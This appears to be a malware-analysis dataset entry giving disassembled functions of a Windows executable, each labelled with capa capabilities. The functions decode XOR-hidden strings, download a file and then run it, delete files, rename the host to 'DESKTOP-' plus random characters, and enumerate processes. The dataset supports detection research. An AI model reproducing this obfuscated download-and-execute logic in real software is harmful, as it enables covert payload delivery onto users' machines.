joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035554
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor edi, edi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x14003558f
lea rcx, [rbp - 0x30]
call fcn.140046c9c
nop
lea rax, [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
cmova rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
mov r9d, 0x5c
cmp word [rax + rcx*2 - 2], r9w
je 0x1400355ef
cmp rcx, rdx
jae 0x1400355e6
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rdx, 7
cmova rax, qword [rbp - 0x30]
mov dword [rax + rcx*2], r9d
jmp 0x1400355ef
lea rcx, [rbp - 0x30]
call fcn.14004688c
movups xmm0, xmmword [str.WZQ_V_NK_b_vn2_0D]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14044f060]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14044f068]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14044f06c]
mov word [rbp - 0x34], ax
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140035622
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400447b8
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp - 0x30]
call fcn.14004531c
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400356ac
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xor r14d, r14d
mov qword [rbp + 0x27], r14
mov qword [rbp + 0x2f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x1400356f0
lea rcx, [rbp + 0x17]
call fcn.140046c9c
nop
lea rax, [rbp + 0x17]
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
cmova rax, qword [rbp + 0x17]
mov rcx, qword [rbp + 0x27]
mov r9d, 0x5c
cmp word [rax + rcx*2 - 2], r9w
je 0x140035750
cmp rcx, rdx
jae 0x140035747
lea rax, [rcx + 1]
mov qword [rbp + 0x27], rax
lea rax, [rbp + 0x17]
cmp rdx, 7
cmova rax, qword [rbp + 0x17]
mov dword [rax + rcx*2], r9d
jmp 0x140035750
lea rcx, [rbp + 0x17]
call fcn.14004688c
movups xmm0, xmmword [str.TLZRUUZYn7D]
movups xmmword [rbp - 0x79], xmm0
movsd xmm0, qword [0x14044ef58]
movsd qword [rbp - 0x69], xmm0
mov eax, dword [0x14044ef60]
mov dword [rbp - 0x61], eax
movzx eax, word [0x14044ef64]
mov word [rbp - 0x5d], ax
mov r8d, r14d
lea r9, [rbp - 0x79]
mov ebx, 1
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140035788
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 0x17]
call fcn.1400447b8
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140035825
mov dword [rbp - 0x59], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x55]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x29], r14d
lea rcx, [rbp - 0x59]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140035828
mov bl, r14b
lea rcx, [rbp + 0x17]
call fcn.14004531c
mov al, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140035858
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xor r14d, r14d
mov qword [rbp + 0x27], r14
mov qword [rbp + 0x2f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x14003589c
lea rcx, [rbp + 0x17]
call fcn.140046c9c
nop
lea rax, [rbp + 0x17]
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
cmova rax, qword [rbp + 0x17]
mov rcx, qword [rbp + 0x27]
mov r9d, 0x5c
cmp word [rax + rcx*2 - 2], r9w
je 0x1400358fc
cmp rcx, rdx
jae 0x1400358f3
lea rax, [rcx + 1]
mov qword [rbp + 0x27], rax
lea rax, [rbp + 0x17]
cmp rdx, 7
cmova rax, qword [rbp + 0x17]
mov dword [rax + rcx*2], r9d
jmp 0x1400358fc
lea rcx, [rbp + 0x17]
call fcn.14004688c
movups xmm0, xmmword [str.WZVRHMKS_19_h__J]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14044e6b0]
movups xmmword [rbp - 0x79], xmm1
movsd xmm0, qword [0x14044e6c0]
movsd qword [rbp - 0x69], xmm0
movzx eax, word [0x14044e6c8]
mov word [rbp - 0x61], ax
mov r8d, r14d
lea r9, [rsp + 0x30]
mov ebx, 1
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140035938
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x17]
call fcn.1400447b8
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400359d6
mov dword [rbp - 0x59], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x55]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x29], r14d
lea rcx, [rbp - 0x59]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400359d9
mov bl, r14b
lea rcx, [rbp + 0x17]
call fcn.14004531c
mov al, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400386b8
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov eax, 2
lea rcx, [rbp - 0x80]
lea rdx, [0x14044e360]
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400386e1
movups xmm0, xmmword [rdx]
mov eax, dword [rdx + 0x70]
xor ebx, ebx
movups xmm1, xmmword [rdx + 0x10]
mov r8d, ebx
lea r9, [rbp - 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov dword [rcx + 0x70], eax
movzx eax, word [rdx + 0x74]
mov word [rcx + 0x74], ax
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x36
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xbb
jl 0x140038778
movups xmm0, xmmword [0x14044e170]
mov r8d, ebx
lea r9, [rsp + 0x20]
movups xmm1, xmmword [0x14044e180]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14044e190]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rsp + 0x50], xmm0
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x36
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x1400387e2
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400356ac
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x110], 2
call fcn.140045ed0
movaps xmm0, xmmword [0x14044e900]
lea r8, [rsp + 0x20]
movaps xmm1, xmmword [0x14044e910]
mov eax, dword [0x14044e950]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [0x14044e920]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x14044e940]
movaps xmmword [rsp + 0x30], xmm1
movaps xmm1, xmmword [0x14044e930]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14044e954]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x74], ax
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x36
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 0x2b
jl 0x14003888b
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rbp
ret
Function at 0x1400388d0
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov edx, 3
lea rcx, [rbp - 0x70]
lea rax, [0x1404506c0]
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400388f9
movzx eax, word [rax]
lea r9, [rbp - 0x70]
xor ebx, ebx
mov word [rcx], ax
mov r8d, ebx
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x36
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xc1
jl 0x140038952
movups xmm0, xmmword [0x14044e170]
mov r8d, ebx
lea r9, [rsp + 0x20]
movups xmm1, xmmword [0x14044e180]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14044e190]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rsp + 0x50], xmm0
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x36
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x1400389bc
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.140035858
lea rcx, [rbp + 0x130]
mov qword [rbp + 0x130], 2
call fcn.140045ed0
movaps xmm0, xmmword [str.u_rdnSUXRIL]
lea r8, [rsp + 0x20]
movaps xmm1, xmmword [0x140450620]
movzx eax, word [0x140450670]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [0x140450630]
movaps xmmword [rsp + 0x30], xmm1
movaps xmm1, xmmword [0x140450640]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x140450650]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm1, xmmword [0x140450660]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x36
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 0x31
jl 0x140038a66
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x238]
add rsp, 0x220
pop rbp
ret
Function at 0x1400391b4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x1318]
mov eax, 0x1400
call fcn.1400aa480
sub rsp, rax
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x12f0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
and dword [rsp + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and qword [rsp + 0x48], 0
and qword [rsp + 0x50], 0
mov r8d, Ordinal_41
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x38]
call fcn.140046ea4
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
or dword [rbp + 0x12e4], 0xffffffff
mov dword [rsp + 0x64], eax
mov r12d, 1
mov ecx, r12d
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x64], edx
add rcx, r12
cmp rcx, r8
jb 0x140039248
mov dword [rsp + 0x60], r8d
mov eax, dword [rsp + 0x48]
dec eax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x34], eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
and qword [rbx + 0x10], 0
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov dword [rsp + 0x24], r12d
mov r14d, 7
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140045f30
movsxd rcx, eax
lea rax, [rsp + 0x38]
cmp rsi, 0xf
cmova rax, rdi
mov r9b, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x1400392f4
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400392e9
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140039304
mov r8b, byte [rsp + 0x20]
mov rdx, r12
mov rcx, rbx
call fcn.140046f98
sub r14, r12
jne 0x1400392a7
cmp rsi, 0xf
jbe 0x140039343
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14003933b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003933b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400a9f10
mov rax, rbx
mov rcx, qword [rbp + 0x12f0]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x1400]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
Function at 0x1400393d8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13d0
call fcn.1400aa480
sub rsp, rax
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov r13d, 0xffffffff
mov r12d, 1
mov dword [rsp + 0x34], eax
mov edx, r12d
mov dword [rsp + 0x13b4], r13d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
add rdx, r12
cmp rdx, r8
jb 0x140039436
mov rax, qword [0x140461a20]
mov r15, qword [0x140461a18]
sub rax, r15
mov dword [rsp + 0x30], r8d
sar rax, 3
sub rax, r12
cmp rax, 0xffffffffffffffff
jne 0x140039498
lea rcx, [rsp + 0x30]
call fcn.14004843c
mov ebx, eax
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14004843c
mov eax, eax
or rbx, rax
jmp 0x1400395d9
lea rbp, [rax + 1]
mov rdi, r13
mov esi, r12d
cmp r13, rax
jae 0x1400394b6
shl rdi, 0x20
add esi, r12d
or rdi, r13
cmp rdi, rax
jb 0x1400394a7
lea rcx, [rsp + 0x30]
call fcn.14004843c
lea r14d, [rsi - 1]
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x1400394e6
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14004843c
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x1400394ce
mov rax, rbp
mul rbx
mov rcx, rax
mov r8, rdx
and rcx, rdi
mov rbx, rax
cmp rcx, rbp
jae 0x140039553
xor edx, edx
mov rax, rdi
sub rax, rbp
add rax, r12
div rbp
mov r12, rdx
cmp rcx, rdx
jae 0x140039553
lea rcx, [rsp + 0x30]
call fcn.14004843c
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x14003953f
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14004843c
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x140039527
mov rax, rbp
mul rbx
mov rbx, rax
mov r8, rdx
and rax, rdi
cmp rax, r12
jb 0x140039513
cmp dword [reloc.WS2_32.dll_accept], 2
jge 0x1400395b7
mov rax, rdi
movabs rcx, 0x5555555555555555
shr rax, 1
and rax, rcx
movabs rcx, 0x3333333333333333
sub rdi, rax
mov rax, rdi
and rdi, rcx
shr rax, 2
and rax, rcx
add rax, rdi
mov rcx, rax
shr rcx, 4
add rcx, rax
movabs rax, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rcx, rax
shr rcx, 0x38
jmp 0x1400395bc
popcnt rcx, rdi
mov ecx, ecx
test cl, cl
je 0x1400395d9
cmp cl, 0x40
jb 0x1400395d5
movzx ecx, cl
mov rbx, r8
and ecx, 0x3f
shr rbx, cl
jmp 0x1400395d9
shrd rbx, r8, cl
mov rax, qword [r15 + rbx*8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140039610
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov dword [rbp - 0x60], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rbp - 0x38]
call fcn.1400391b4
nop
lea r8, [rbp - 0x38]
lea rdx, str.DESKTOP_
lea rcx, [rbp - 0x58]
call fcn.140045ff4
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_SetComputerNameA]
call fcn.1400393d8
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400396b6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400396b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400396b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9f10
movdqa xmm0, xmmword [0x140450c60]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140039705
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039700
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039700
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9f10
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400a97e0
add rsp, 0x80
pop rbp
ret

Function at 0x14003991c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14003995b
xor al, al
jmp 0x1400399a8
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
jmp 0x140039995
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14003999b
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140039975
jmp 0x14003999d
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140039c8c
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x1d8
mov eax, 2
lea rcx, [rsp + 0x60]
lea rdx, [0x14044e1b0]
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140039ca8
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x60]
xor r8d, r8d
movups xmm1, xmmword [rdx + 0x10]
mov r9d, r8d
lea r10, [rsp + 0x60]
movups xmmword [rcx], xmm0
mov r11d, 0x8d3dcb09
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x50], xmm1
mov qword [rcx + 0x60], rax
mov eax, dword [rdx + 0x68]
mov dword [rcx + 0x68], eax
mov eax, r11d
mul r9d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r9w
inc r9d
sub ax, cx
add ax, 0x36
xor word [r10], ax
lea r10, [r10 + 2]
cmp r9d, 0xb6
jl 0x140039d3f
movups xmm0, xmmword [0x14044e170]
lea r9, [rsp + 0x20]
movups xmm1, xmmword [0x14044e180]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14044e190]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rsp + 0x50], xmm0
mov eax, r11d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x36
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x140039da4
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400399d0
add rsp, 0x1d8
ret